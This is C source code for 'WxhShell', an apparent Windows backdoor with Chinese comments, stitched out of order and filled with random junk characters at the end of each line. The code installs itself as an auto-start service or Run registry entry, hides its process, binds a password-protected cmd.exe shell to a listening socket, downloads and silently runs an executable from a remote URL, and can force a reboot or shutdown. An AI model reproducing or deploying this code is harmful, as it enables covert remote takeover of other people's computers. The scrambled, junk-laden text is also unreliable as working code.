    if(Boot(SHUTDOWN)) ne61}F"E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -! ;l~#K=  
    else { /){KOCBl;  
    closesocket(wsh); ,oxcq?7#4  
    ExitThread(0); iqQUtE]E_  
    } GuZ ( &G6*  
    break; 5erc D  
    } !MDNE*_  
  // 获取shell )D'^3) FF  
  case 's': { +MbIB&fRCB  
    CmdShell(wsh); 'bGX-C  
    closesocket(wsh); > oA? 6x  
    ExitThread(0); &C im!I  
    break; "\Egs)\  
  } "Td`AuP@,  
  // 退出 8(.mt/MR  
  case 'x': { R+q"_90_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IEjP<pLe  
    CloseIt(wsh); pL1Q7&&c0  
    break; G2LK]  
    } <H1 `  
  // 离开 n,eJ$2!J  
  case 'q': { YSJy`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F/m^?{==~*  
    closesocket(wsh); -LDCBc"  
    WSACleanup(); *#%9Rp2|  
    exit(1); +X`V|E,no  
    break; I)q,kP@yY  
        } _LAS~x7,  
  } HkV1sT  
  } IM$2VlC  
w{~+EolK  
  // 提示信息 ms($9Lv/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~^u16z,  
} Wk:hFHs3  
  } E_F5(x SA  
i,V;xB2  
  return; nJRS.xs  
} mS#zraJn5  
ccCzu6  
// shell模块句柄 H/M Au7  
int CmdShell(SOCKET sock) Z3k(P  
{ /vY_Y3k#  
STARTUPINFO si; !3mA 0-!+  
ZeroMemory(&si,sizeof(si)); p~ C.IG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VL[R(a6c <  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -/_L*oYli  
PROCESS_INFORMATION ProcessInfo; AC O)Dt(Y  
char cmdline[]="cmd"; GV)<Q^9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A^ _a3$,0  
  return 0; OA:%lC!  
} {T"0DSV   
h2ZkCML  
// 自身启动模式 KZ!3j_pKy  
int StartFromService(void) nd;fy$<J\  
{ d!KsNkk  
typedef struct 1Z[/KJ  
{ vA$o~?a]/  
  DWORD ExitStatus; 7'wS\/e4a  
  DWORD PebBaseAddress; Qr1e@ =B  
  DWORD AffinityMask; S$f6a'  
  DWORD BasePriority; <<D$+@wxm  
  ULONG UniqueProcessId; =n^!VXaL]]  
  ULONG InheritedFromUniqueProcessId; $^&ig  
}   PROCESS_BASIC_INFORMATION; [Q\GxX.  
?u4INZ0W  
PROCNTQSIP NtQueryInformationProcess; < Dx]b*H  
@ S<-d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0Io'bF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .nYUL>  
#jAqra._b  
  HANDLE             hProcess; UgWs{y2SE.  
  PROCESS_BASIC_INFORMATION pbi; nR4y`oP+  
:{NC-%4o0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <I}2k  
  if(NULL == hInst ) return 0; t}v2$<!I  
b{fQ|QD{^E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @fu M)B1"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  )>D+x5o]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g}p;\o   
V\V)<BARe  
  if (!NtQueryInformationProcess) return 0; \4"S7.% |  
`@i5i((  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z%GTnG|rG  
  if(!hProcess) return 0; A2}Rl%+X]6  
MNH1D! }  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y(\T- bI  
jjJ2>3avY  
  CloseHandle(hProcess); qQ!1t>j+H  
Soie^$ Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {0! ~C=P  
if(hProcess==NULL) return 0; bYz&P`o}  
=A Vg Iv  
HMODULE hMod; :V2bS  
char procName[255]; 6t/`:OZC:  
unsigned long cbNeeded; SI:U0gUc  
9Pw0m=4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1 T130L  
!v]b(z`Y  
  CloseHandle(hProcess); %{6LUn  
OMwsbp&  
if(strstr(procName,"services")) return 1; // 以服务启动 7Cjd.0T=(  
lTU$0CG  
  return 0; // 注册表启动 2,aPr:]  
} C"lJl k9g^  
g%u&Zkevx  
// 主模块 56 l@a{  
int StartWxhshell(LPSTR lpCmdLine) "P)*FT  
{ 2oJb)CB  
  SOCKET wsl; h7s; m  
BOOL val=TRUE; +n}$pM|NKU  
  int port=0; PSawMPw  
  struct sockaddr_in door; tNVV)C  
%gnM( pxl  
  if(wscfg.ws_autoins) Install(); k%y9aO  
T0)"1D<l  
port=atoi(lpCmdLine); _Lw OOZj  
vIvVq:6_3  
if(port<=0) port=wscfg.ws_port; EQqx+J&!  
>;z<j$;F<  
  WSADATA data; iCP/P%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CE15pNss  
+i\&6HGK;-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Sx    
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #d{=\$=  
  door.sin_family = AF_INET; G8W#<1LE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RtG}h[k/X  
  door.sin_port = htons(port); "U. ^lkN  
`IYuz:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  p0.|<  
closesocket(wsl); M4ozTp<$O  
return 1; K/ &?VIi`z  
} fjnTe  
 `[zQf  
  if(listen(wsl,2) == INVALID_SOCKET) { XPB9~::  
closesocket(wsl); :|o<SZ  
return 1; kP xa7  
} pj?XLiM54%  
  Wxhshell(wsl); 0?WcoPU  
  WSACleanup(); +h2eqNr  
-/ ]W+[  
return 0; /ug8]Lo0  
c`x7u}C  
} ?j^=u:<  
B= keBO](@  
// 以NT服务方式启动 q_ =b<.;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5 ,0d  
{  s95vK7I  
DWORD   status = 0; {b]aC  
  DWORD   specificError = 0xfffffff; */ G<!W  
|}){}or  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UN"(5a8.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s<x1>Q7X~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nS()u}c;r  
  serviceStatus.dwWin32ExitCode     = 0; U $Qv>7  
  serviceStatus.dwServiceSpecificExitCode = 0; Hn,:`mj4-6  
  serviceStatus.dwCheckPoint       = 0; K.gEj*@  
  serviceStatus.dwWaitHint       = 0; @?C#r.vgp  
61U<5:#l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,2oF:H  
  if (hServiceStatusHandle==0) return; R~bC,`Bh  
, n !vsIN  
status = GetLastError(); a:~@CUD >I  
  if (status!=NO_ERROR) _w@qr\4i=  
{ 7j5f ;O^+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s=?aox7  
    serviceStatus.dwCheckPoint       = 0; Bh&Ew   
    serviceStatus.dwWaitHint       = 0; W"L&fV+3  
    serviceStatus.dwWin32ExitCode     = status; \U%#nU{  
    serviceStatus.dwServiceSpecificExitCode = specificError; %iJ%{{f`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (2?G:+C 7  
    return; W:i?t8y\y  
  } z}SND9-"  
PLM_#+R>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1 4 LI5T  
  serviceStatus.dwCheckPoint       = 0; *zO&N^X.4  
  serviceStatus.dwWaitHint       = 0; cYNJhGY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R E1 /"[t  
} 9iN.3/T8  
HG/p$L*  
// 处理NT服务事件,比如:启动、停止 =TR,~8Z|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Gf8s?l  
{ -{h   
switch(fdwControl)  Lw1T 4n  
{ 4Z[V uQng  
case SERVICE_CONTROL_STOP: K[ .JlIP  
  serviceStatus.dwWin32ExitCode = 0; 4eVI},  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bIt=v)%$  
  serviceStatus.dwCheckPoint   = 0; 4LI0SwD#^/  
  serviceStatus.dwWaitHint     = 0; >k']T/%  
  { Hy{ Q#fq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^EVc95|Z  
  } gPS&^EdxA  
  return; 59(U`X  
case SERVICE_CONTROL_PAUSE: y0v]N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A`O<6   
  break; wHz?#MW 3L  
case SERVICE_CONTROL_CONTINUE: KsAH]2Q%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PXP`ZLF  
  break; `n!viW|tB  
case SERVICE_CONTROL_INTERROGATE: %u?HF4S'  
  break;  Gt9wR  
}; ^SEdA=!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WUAJjds  
} fbZibcQ%k  
OH<?DcfeL  
// 标准应用程序主函数 IL7`0cN(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jW*1E *"  
{ :ZdUx  
JU0]Wq<^[  
// 获取操作系统版本 %R_{1GrL'c  
OsIsNt=GetOsVer(); m$>iS@R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =fc: 6JR  
,KW;2t*IQ@  
  // 从命令行安装 Hv#q:R8  
  if(strpbrk(lpCmdLine,"iI")) Install(); lQPqcZd  
?y},,  
  // 下载执行文件 (k-YI{D3  
if(wscfg.ws_downexe) { jm>3bd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BpAB5=M0  
  WinExec(wscfg.ws_filenam,SW_HIDE); B7Ntk MK  
} 5,+\`!g  
)J/HkOj"V  
if(!OsIsNt) { ScnY3&rc  
// 如果时win9x,隐藏进程并且设置为注册表启动 toa-Wa{  
HideProc(); 8uG0^h}  
StartWxhshell(lpCmdLine); _3Q8n|  
} +2cs#i  
else bggusK<  
  if(StartFromService()) WoL9V"]  
  // 以服务方式启动 ']51jabm  
  StartServiceCtrlDispatcher(DispatchTable); #;9H@:N  
else |oKu=/[K  
  // 普通方式启动 <v]9lw'  
  StartWxhshell(lpCmdLine); 4h 5_M8I  
\Z)1 ?fq  
return 0; Uv?'m&_  
} p|6v~  
~JZ3a0$^  
l_FGZ!7  
 SVP:D3)  
=========================================== \Z5 +$Ij  
)&NAs  
t\U$8l_;  
:x>T}C<Y  
#Olg(:\  
<SXZx9A!  
" +Al>2~  
2@@l{Y0f6  
#include <stdio.h> jThbeY[  
#include <string.h> \,W.0#D8v4  
#include <windows.h> A-E+s~U8  
#include <winsock2.h> <3 @}Lj  
#include <winsvc.h> $7gB_o$zz  
#include <urlmon.h> I{.HO<$7D}  
pD`/_-=^h  
#pragma comment (lib, "Ws2_32.lib") vX1uR]A[  
#pragma comment (lib, "urlmon.lib") ,j;PRJ  
k M*T$JqN  
#define MAX_USER   100 // 最大客户端连接数 =v2%Vs\7k  
#define BUF_SOCK   200 // sock buffer +Tak de%~  
#define KEY_BUFF   255 // 输入 buffer ]Bu DaxWN  
c cG['7  
#define REBOOT     0   // 重启 f>iuHR*EXB  
#define SHUTDOWN   1   // 关机 :uCdq`SaQl  
?A=b6Um  
#define DEF_PORT   5000 // 监听端口 4^Qi2[w  
i*tv,f.(  
#define REG_LEN     16   // 注册表键长度 ~@c-*  
#define SVC_LEN     80   // NT服务名长度 g,lY ut  
v+q<BYq  
// 从dll定义API hYt7kq!"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >S&U.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wz#[:2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  b;vNq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X\2_; zwf  
l:e9y$_)  
// wxhshell配置信息 $+VgDe5{S  
struct WSCFG { tP'GNsq+m  
  int ws_port;         // 监听端口 XI}I.M  
  char ws_passstr[REG_LEN]; // 口令 mY2:m(9"5  
  int ws_autoins;       // 安装标记, 1=yes 0=no D u_$C[  
  char ws_regname[REG_LEN]; // 注册表键名  v4<j   
  char ws_svcname[REG_LEN]; // 服务名 Zw=G@4xoU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mxtgb$*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iz x[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -{x(`9H;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |'w^n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7>je6*(K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #tz8{o?ebN  
H`|0-`q  
}; rc~Y=m   
Cg6;I.K   
// default Wxhshell configuration V9jFjc?  
struct WSCFG wscfg={DEF_PORT, 26nBBS,;  
    "xuhuanlingzhe", *FPg#a+  
    1, I)[B9rbe  
    "Wxhshell", !A-;NGxE  
    "Wxhshell", |HgfV@Han  
            "WxhShell Service", oS!/|#m n  
    "Wrsky Windows CmdShell Service", U>3 >Ex  
    "Please Input Your Password: ", kkfCAM  
  1, el Kx]%k*)  
  "http://www.wrsky.com/wxhshell.exe", ,V2#iY.%}N  
  "Wxhshell.exe" m!!;/e?yx  
    }; O]_={%   
cyc>_$/;1  
// 消息定义模块 sFx$>:$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %Rn:G K  
char *msg_ws_prompt="\n\r? for help\n\r#>";  z\$;'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |0w~P s  
char *msg_ws_ext="\n\rExit."; mVrKz  
char *msg_ws_end="\n\rQuit."; cju@W]!  
char *msg_ws_boot="\n\rReboot..."; 32KR--mn%  
char *msg_ws_poff="\n\rShutdown..."; 9S"N4c>  
char *msg_ws_down="\n\rSave to "; Gc}0]!nrW9  
"o==4?*L  
char *msg_ws_err="\n\rErr!"; =tq7z =k  
char *msg_ws_ok="\n\rOK!"; E3tj/4:L  
'}zT1F* p=  
char ExeFile[MAX_PATH]; r`>~Lp`  
int nUser = 0; J[+Tj @n'  
HANDLE handles[MAX_USER]; TAAR'Jz S  
int OsIsNt; a@k.$  
2VMX:&3 5J  
SERVICE_STATUS       serviceStatus; lxOqs:b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?1DUNZ6  
%JaE4&  
// 函数声明 8>v7v&Bh|  
int Install(void); !h/dZ`#  
int Uninstall(void); % &+|==-  
int DownloadFile(char *sURL, SOCKET wsh); z@n+7p`w  
int Boot(int flag); Sgx+V"bkT  
void HideProc(void); VVN # $  
int GetOsVer(void); }!knU3J  
int Wxhshell(SOCKET wsl); aKOf;^@  
void TalkWithClient(void *cs); /MqP[*L  
int CmdShell(SOCKET sock); w*2^/zh  
int StartFromService(void); +DxifXtB  
int StartWxhshell(LPSTR lpCmdLine); 1l~.R#WG&  
PIpWa$b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nO:HB.&@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CH#kvR2  
ZK!4>OuH`  
// 数据结构和表定义 y8D 8Y8B  
SERVICE_TABLE_ENTRY DispatchTable[] = >+f'!*%7He  
{ F]Pul|.l  
{wscfg.ws_svcname, NTServiceMain}, h+ TB]  
{NULL, NULL} K9}jR@jy$  
}; 6i^0T  
n4XMN\:g{  
// 自我安装 ?9,YVylg  
int Install(void) jUZ[`f;  
{ |y'b21 7t  
  char svExeFile[MAX_PATH]; >]C<j4  
  HKEY key; FcY$k%;'Q  
  strcpy(svExeFile,ExeFile); l [x%I  
&LwJ'h +nd  
// 如果是win9x系统,修改注册表设为自启动 ew/KZE  
if(!OsIsNt) { @u<0_r t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k~ZBJ+ 94  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hc"N& %X[  
  RegCloseKey(key); UT % #K%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I}1fEw>8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?Ip$;s  
  RegCloseKey(key); 0rGj|@+;  
  return 0; -^y1iN'D  
    } pO5v*oONz+  
  } l`oT:  
} QM7[O]@  
else { A>[hC{  
H2s*s[T -  
// 如果是NT以上系统,安装为系统服务 $kM '  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s%hU*^ 8  
if (schSCManager!=0) &~42T}GTWG  
{ =CGD ~p`  
  SC_HANDLE schService = CreateService %oMWcgsdJi  
  ( 4h(jw   
  schSCManager, zmdWVFV v  
  wscfg.ws_svcname, 7d%A1}Bq$  
  wscfg.ws_svcdisp, u;QH8LK  
  SERVICE_ALL_ACCESS, 4$qNcMdz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [Aa[&RX+9  
  SERVICE_AUTO_START, +q$xw}+PK  
  SERVICE_ERROR_NORMAL, _ Eszr(zJ  
  svExeFile, Cd$dn HVh  
  NULL, P~n8EO1r  
  NULL, CuF%[9[cT  
  NULL, ,,zd.9n  
  NULL, z^ YeMe  
  NULL _95- -\  
  ); ;sm"\.jF  
  if (schService!=0) !XkymIX~O.  
  { !4i,%Z& 6  
  CloseServiceHandle(schService); b*@&c9I;q  
  CloseServiceHandle(schSCManager); 0@JilGk1u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EaJDz`T}  
  strcat(svExeFile,wscfg.ws_svcname); ~r{\WZ.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J~M H_N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |;X?">7NW  
  RegCloseKey(key); N:"M&E UM  
  return 0; s0_-1VU  
    } ab8oMi`z  
  } m*Q[lr=  
  CloseServiceHandle(schSCManager); ?r^ hm u"a  
} hg$qb eUl  
} ecM4]U  
"``W6W-(  
return 1; 3(cU)  
} A%.J%[MVz  
Q:'qw#P/C  
// 自我卸载 'Wo?%n  
int Uninstall(void) ocb%&m ;i  
{ !hwzKm=%N  
  HKEY key; -G(3Y2  
l{M;PaJ`}  
if(!OsIsNt) { )Ix-5084  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @>qx:jx(-S  
  RegDeleteValue(key,wscfg.ws_regname); D|u^8\'.  
  RegCloseKey(key); '-$))AdD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wUh3Hd'  
  RegDeleteValue(key,wscfg.ws_regname); -lJx%9>  
  RegCloseKey(key); x*5 Ch~<k  
  return 0; D!l [3  
  } wrZ7Sr!/V  
} UrD=|-r`  
}  ;Puy A  
else { U-wq- GT  
6R$ F =MB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y&K<{ KA\4  
if (schSCManager!=0) Wq=ZU\Y  
{ lGD%R'}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~%cSckE  
  if (schService!=0) BXQ\A~P\  
  { fxLE]VJQ  
  if(DeleteService(schService)!=0) { X|lElN  
  CloseServiceHandle(schService); {[YqGv=fF  
  CloseServiceHandle(schSCManager); R=#q"9qz  
  return 0; f.U0E6-(3N  
  } z 'vdC  
  CloseServiceHandle(schService); Tx|SAa=V  
  } s$SU vo1J  
  CloseServiceHandle(schSCManager); XvfcPI6  
} 7eaA]y~H  
} tEpIyC  
1kz9>;Ud6  
return 1; #;qFPj- v  
} XwHu:v'=  
7 K;'7  
// 从指定url下载文件 P3,Z5|)  
int DownloadFile(char *sURL, SOCKET wsh) X~IRpzC  
{ t  z +  
  HRESULT hr; w /Bn2bD  
char seps[]= "/"; P;HVLflu  
char *token; m<X#W W)N  
char *file; \Y>#^b?  
char myURL[MAX_PATH]; )V9Mcr*Ce6  
char myFILE[MAX_PATH]; l`~a}y"n  
4U LJtM3  
strcpy(myURL,sURL); ?9wFV/  
  token=strtok(myURL,seps); ! 4qps$p{  
  while(token!=NULL) fY)4]=L  
  { $ DABR  
    file=token; !_^ {udB}  
  token=strtok(NULL,seps); v;N1'  
  } @&i#S}%/  
+7U  A%q  
GetCurrentDirectory(MAX_PATH,myFILE); 'NG^HLD/  
strcat(myFILE, "\\"); Kd ryl   
strcat(myFILE, file); jFJW3az@z  
  send(wsh,myFILE,strlen(myFILE),0); ?:{0  
send(wsh,"...",3,0); mCC:}n"#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "2vNkO##  
  if(hr==S_OK) U 3wsWSO  
return 0; B4\:2hBq  
else ]|((b/L3  
return 1; hX'z]Am<  
8a":[Q[  
} f2R+5`$  
-Z/6;2Q  
// 系统电源模块 c|R3,<Q]  
int Boot(int flag) & 8:iB {n  
{ [`Qp;_K?t  
  HANDLE hToken; Gct&}]3pm  
  TOKEN_PRIVILEGES tkp; 0%q ctZy  
^Q43)H0  
  if(OsIsNt) { 3u"J4%zg|L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \ eyQo>(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NXWIE4T>*^  
    tkp.PrivilegeCount = 1; #Tg|aW$(*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V!kQuQJ>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x]%4M\T``  
if(flag==REBOOT) { Chb 4VoE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D@lAT#vA  
  return 0; y ? {PoNI  
} ]'1N_m]?  
else { 69<rsp(p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w|n?m  
  return 0; _>_y@-b  
}  ycAi(K  
  } k DceBs s  
  else { Jq?^8y  
if(flag==REBOOT) { S7#^u`'Q_^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LfjS[  
  return 0; J7 *G/F  
} UtGd/\:  
else { n/-p;#R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  2U+z~  
  return 0; :+gCO!9Y  
} q*<J $PI  
} MSYLkQ}_b  
[V#&sAe  
return 1; u {E^<fW]  
} *"wD& E?  
p Yi=q  
// win9x进程隐藏模块 }HA2c e\  
void HideProc(void) 43orR !.Z  
{ t+4%,n f_1  
gS(: c .  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9q0,K" x)  
  if ( hKernel != NULL ) zOdasEd8!  
  { /O(;~1B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1vR#FE?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1!v >I"]  
    FreeLibrary(hKernel);  ]5)&36  
  } "|l oSf@  
).O2_<&?F  
return; zx]M/=7,V#  
} ezq q@t9  
N:gstp  
// 获取操作系统版本 ]TTJrC:  
int GetOsVer(void) xdTzG4  
{ U0|j^.)  
  OSVERSIONINFO winfo; m?R+Z6c[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sVm'9k  
  GetVersionEx(&winfo); u):Rw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1rm$@L  
  return 1; loqS?bC ]  
  else -WHwz m  
  return 0; >* Qk~kv<%  
} BS<>gA R;/  
E<m"en&v  
// 客户端句柄模块 EBn:[2  
int Wxhshell(SOCKET wsl) E/ed0'|m  
{ raI~BIfe  
  SOCKET wsh; \8>N<B)  
  struct sockaddr_in client; )>A%FL9  
  DWORD myID; hwol7B>   
!PP?2Ax  
  while(nUser<MAX_USER) A&_i]o  
{ ;Wrd=)Ka  
  int nSize=sizeof(client); EpoQV^ Ey  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $lG--s  
  if(wsh==INVALID_SOCKET) return 1; AdN= y8T  
@ :   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C` 1\$U~%  
if(handles[nUser]==0) c,s<q j  
  closesocket(wsh); @SVEhk#  
else GPhwq n{  
  nUser++; [r< Y0|l,m  
  } V{aIhH>P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }y=n#%|i.  
P@T $6%~  
  return 0; /7HIL?r  
} fO}1(%}d  
W,oV$ s^  
// 关闭 socket wCEfR!i  
void CloseIt(SOCKET wsh) +VI0oo {Z  
{ wYxFjXm  
closesocket(wsh); {~p %\  
nUser--; ljR?* P  
ExitThread(0); P9HPr2  
} * jNu?$  
nOoh2jUM  
// 客户端请求句柄 E=U^T/  
void TalkWithClient(void *cs) V@s/]|rf,  
{ gdn,nL`dP  
!Q/O[6  
  SOCKET wsh=(SOCKET)cs; PL B=%[  
  char pwd[SVC_LEN]; ++RmaZ  
  char cmd[KEY_BUFF]; sVl:EVv  
char chr[1]; 5<ya;iK  
int i,j; 9mtC"M<   
o>k-~v7  
  while (nUser < MAX_USER) { { dx yBDK  
Hn2Q1lF-ip  
if(wscfg.ws_passstr) { _xwfz]lb+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ' xq5tRg>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =|t1eSzc  
  //ZeroMemory(pwd,KEY_BUFF); JU`'?b  
      i=0; XXdMppoR  
  while(i<SVC_LEN) { 9*Mg<P"  
:95_W/l  
  // 设置超时 -8J@r2\  
  fd_set FdRead; mp$II?hZ*  
  struct timeval TimeOut; Rn ^N+3o'M  
  FD_ZERO(&FdRead); #+Gs{iXr  
  FD_SET(wsh,&FdRead); t $ ~:C  
  TimeOut.tv_sec=8; YO4ppL~xe  
  TimeOut.tv_usec=0; f2K3*}P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $fpDABf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '`VO@a  
+?eAaC7s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s5|)4Z ac  
  pwd=chr[0]; 8{^GC(W{]  
  if(chr[0]==0xd || chr[0]==0xa) { L7'X7WYf&  
  pwd=0; 4 6JP1  
  break; \}&w/.T  
  } ;7{wa]  
  i++; hzVr3;3Zn  
    } VTkT4C@I;Y  
X~VZ61vNu  
  // 如果是非法用户,关闭 socket >R!I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :<G+)hIK  
} TgG)btQ  
~x#-#nuh"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ep1Ajz.l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g(/O)G.  
Z19y5?uR  
while(1) { c^UM(bW  
Tfs9< k>G#  
  ZeroMemory(cmd,KEY_BUFF); j[ YTg]  
9_^V1+   
      // 自动支持客户端 telnet标准   E)SOcM)  
  j=0; d`*vJ#$> 2  
  while(j<KEY_BUFF) { ApB'O;5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m`6`a|Twp$  
  cmd[j]=chr[0]; _'v )Fy  
  if(chr[0]==0xa || chr[0]==0xd) { V^H47O;VC  
  cmd[j]=0; 9GOyVKUv  
  break; _C\ d^a (  
  } nr6[rq  
  j++; ::t !W7W  
    } PU\q.y0R  
rMx_ <tXX  
  // 下载文件 AYtcN4\/  
  if(strstr(cmd,"http://")) { U}5KAi 9Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |-?b)yuAz  
  if(DownloadFile(cmd,wsh)) c'4 \F9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x?$Y<=vT  
  else ITOGD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?|F;x"  
  } K1yM'6 Zw  
  else { xpo}YF'5  
v<4X;4p^  
    switch(cmd[0]) { jtJU 5Q  
